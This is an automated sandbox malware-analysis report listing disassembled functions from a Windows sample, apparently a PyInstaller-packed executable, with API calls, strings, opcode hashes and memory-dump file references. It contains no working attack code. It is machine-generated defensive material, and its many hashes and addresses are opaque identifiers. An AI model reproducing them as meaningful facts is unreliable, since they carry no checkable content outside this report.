                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: DFF04F61B0DA0681EB30AF78A8593799360EF45765FD41239C6AE4A6E4EF2CD0448360
                                                                                                                                                                                                                                          Function 00007FF79D0793D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _set_statfp
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1156100317-0
                                                                                                                                                                                                                                          • Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
                                                                                                                                                                                                                                          • Instruction ID: 77d337280c449b8f56842c38b41949dd34bed6fccfc62f838a23fb8b4be81a68
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6D11BF72F0CA1301F674793CFD5677DA0546F59360F840634EAEE0E3D6AE2CA8414124
                                                                                                                                                                                                                                          Function 00007FF79D06B400 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • FlsGetValue.KERNEL32(?,?,?,00007FF79D06A613,?,?,00000000,00007FF79D06A8AE,?,?,?,?,?,00007FF79D06A83A), ref: 00007FF79D06B41F
                                                                                                                                                                                                                                          • FlsSetValue.KERNEL32(?,?,?,00007FF79D06A613,?,?,00000000,00007FF79D06A8AE,?,?,?,?,?,00007FF79D06A83A), ref: 00007FF79D06B43E
                                                                                                                                                                                                                                          • FlsSetValue.KERNEL32(?,?,?,00007FF79D06A613,?,?,00000000,00007FF79D06A8AE,?,?,?,?,?,00007FF79D06A83A), ref: 00007FF79D06B466
                                                                                                                                                                                                                                          • FlsSetValue.KERNEL32(?,?,?,00007FF79D06A613,?,?,00000000,00007FF79D06A8AE,?,?,?,?,?,00007FF79D06A83A), ref: 00007FF79D06B477
                                                                                                                                                                                                                                          • FlsSetValue.KERNEL32(?,?,?,00007FF79D06A613,?,?,00000000,00007FF79D06A8AE,?,?,?,?,?,00007FF79D06A83A), ref: 00007FF79D06B488
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Value
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3702945584-0
                                                                                                                                                                                                                                          • Opcode ID: e370891a427e995cf622d6c66c6ae617f18e5219a23357883517039299fedc16
                                                                                                                                                                                                                                          • Instruction ID: f365b66382c5c71044cbe8ad59d839b4c2ffd4eeb7923396a36422997a4d3a84
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: e370891a427e995cf622d6c66c6ae617f18e5219a23357883517039299fedc16
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 67114F60B0CE4241FA78B7BD6951179E5419F447B0FD48334E9BD466DAFE2DA4018321
                                                                                                                                                                                                                                          Function 00007FF79D06B294 Relevance: 7.6, APIs: 5, Instructions: 50COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Value
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3702945584-0
                                                                                                                                                                                                                                          • Opcode ID: e449caa10890978289f0fc2f631dee428fb70040431ae2bf3103bb36de88fb08
                                                                                                                                                                                                                                          • Instruction ID: 3cee61c315879ac7a74a9334310861194dae80d51da3b3ce91dfedccb729d9e9
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: e449caa10890978289f0fc2f631dee428fb70040431ae2bf3103bb36de88fb08
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4C110360B0CE0781FAB8B6FD585127EA6825F45720FD84734D9BE4A2C2FE2DB4018231
                                                                                                                                                                                                                                          Function 00007FF79D066010 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID: verbose
                                                                                                                                                                                                                                          • API String ID: 3215553584-579935070
                                                                                                                                                                                                                                          • Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
                                                                                                                                                                                                                                          • Instruction ID: 4c42fd1164af91e6afb1e63cfae4bebe30c282df8621a43f63f85ab7a054429d
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1E919A22B0CE4681E771AFB9D45037EB691AB41B94FC84376DADA473C5EE3CE8458320
                                                                                                                                                                                                                                          Function 00007FF79D06FC38 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID: UTF-16LEUNICODE$UTF-8$ccs
                                                                                                                                                                                                                                          • API String ID: 3215553584-1196891531
                                                                                                                                                                                                                                          • Opcode ID: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
                                                                                                                                                                                                                                          • Instruction ID: 54b3434da40a0b54c3d56e06a60074f927fa732be002450fadec3da58ca3e48e
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2681A232F0CA4285F7746FBD8110278BEA1AF11748FD54235DA8A9769AFF2DF9018321
                                                                                                                                                                                                                                          Function 00007FF79D05D6B8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                                                                                                                                                                                                                          • String ID: csm
                                                                                                                                                                                                                                          • API String ID: 2395640692-1018135373
                                                                                                                                                                                                                                          • Opcode ID: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
                                                                                                                                                                                                                                          • Instruction ID: 7fdb24adaa101f5da9555f702d7bc20a5e49a7eb091994e8c745d7f8f0f79c02
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: BE51A332B2D6028ADB24EB2AE444678B791EB44B94F944132DEDD47744FF3DE841C720
                                                                                                                                                                                                                                          Function 00007FF79D05EF48 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CallEncodePointerTranslator
                                                                                                                                                                                                                                          • String ID: MOC$RCC
                                                                                                                                                                                                                                          • API String ID: 3544855599-2084237596
                                                                                                                                                                                                                                          • Opcode ID: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
                                                                                                                                                                                                                                          • Instruction ID: 05726eada09a3642137d248f0510d4ba8f1dc5a04e8a15e04fe5d7bcf37477ef
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6361503290CB8585EB70AB2AE4407AABBA0FB85794F444225EFDD07B55EF7CD190CB14
                                                                                                                                                                                                                                          Function 00007FF79D05F2F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                                                                                                                                                                                                                          • String ID: csm$csm
                                                                                                                                                                                                                                          • API String ID: 3896166516-3733052814
                                                                                                                                                                                                                                          • Opcode ID: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
                                                                                                                                                                                                                                          • Instruction ID: a80c26f3294f02d692a1d8ec0d6861e4dc17c232ab4925b7dc33dd0b871b761f
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: F9518E7290C38286EB74AF3A9044268BBA0EB54B94F944235DEDD47795EF3CE450CB10
                                                                                                                                                                                                                                          Function 00007FF79D057E10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • CreateDirectoryW.KERNEL32(00000000,?,00007FF79D05352C,?,00000000,00007FF79D053F23), ref: 00007FF79D057F22
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CreateDirectory
                                                                                                                                                                                                                                          • String ID: %.*s$%s%c$\
                                                                                                                                                                                                                                          • API String ID: 4241100979-1685191245
                                                                                                                                                                                                                                          • Opcode ID: b1106a047486010b66b16d7d561c3e0e79f8eec2dc114c611d5a943da294bb6a
                                                                                                                                                                                                                                          • Instruction ID: 14d313e6f6e02c1656f050f5a09bbf0cc924066caf1f9c295aaa3091e063ea9c
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: b1106a047486010b66b16d7d561c3e0e79f8eec2dc114c611d5a943da294bb6a
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7931B82161DAC145EA31AB3AA8507FAA355EF84BE4F840231EEED477C9FF2CD6418710
                                                                                                                                                                                                                                          Function 00007FF79D052810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Message
                                                                                                                                                                                                                                          • String ID: ERROR$Error$[PYI-%d:%ls]
                                                                                                                                                                                                                                          • API String ID: 2030045667-255084403
                                                                                                                                                                                                                                          • Opcode ID: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
                                                                                                                                                                                                                                          • Instruction ID: 95687d658d91859a3669fe2c9841c8391e5266efa5b20eb8a61846abea4739bc
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2521A162B0CB4182E720AB69F8447EAB3A4EB88784F804136EECD57755EF3CD645C750
                                                                                                                                                                                                                                          Function 00007FF79D06C610 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: FileWrite$ConsoleErrorLastOutput
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2718003287-0
                                                                                                                                                                                                                                          • Opcode ID: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
                                                                                                                                                                                                                                          • Instruction ID: 040346d98be79e2adab935866ca3b437c78d50d9d3c7bc55f0719d2561069589
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 36D1F372B18A8089E720DFB9D4402EC7B71FB44798BC48235DE9D97B89EE39D016C354
                                                                                                                                                                                                                                          Function 00007FF79D06F9FC Relevance: 6.2, APIs: 4, Instructions: 162COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _get_daylight$_isindst
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 4170891091-0
                                                                                                                                                                                                                                          • Opcode ID: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
                                                                                                                                                                                                                                          • Instruction ID: cb825dc3b5138cbfae4a0437d824223de320924b1a726acc5f1adfa1764a9a95
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 80510772F0C91186FB34EFB899556BCAB61BB40398FD01235DE5E52AE5EB38A4418710
                                                                                                                                                                                                                                          Function 00007FF79D0657EC Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: File$ErrorHandleInformationLastNamedPeekPipeType
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2780335769-0
                                                                                                                                                                                                                                          • Opcode ID: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
                                                                                                                                                                                                                                          • Instruction ID: aa36a6973a16b3bff65cb99ebbc902c2fce21a470e45e07d8067f197042e06f6
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: F951A222F0CA418AFB20EFB9D4583BD63B1AB54B58F944535DE8D57688EF78D4418720
                                                                                                                                                                                                                                          Function 00007FF79D0520C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
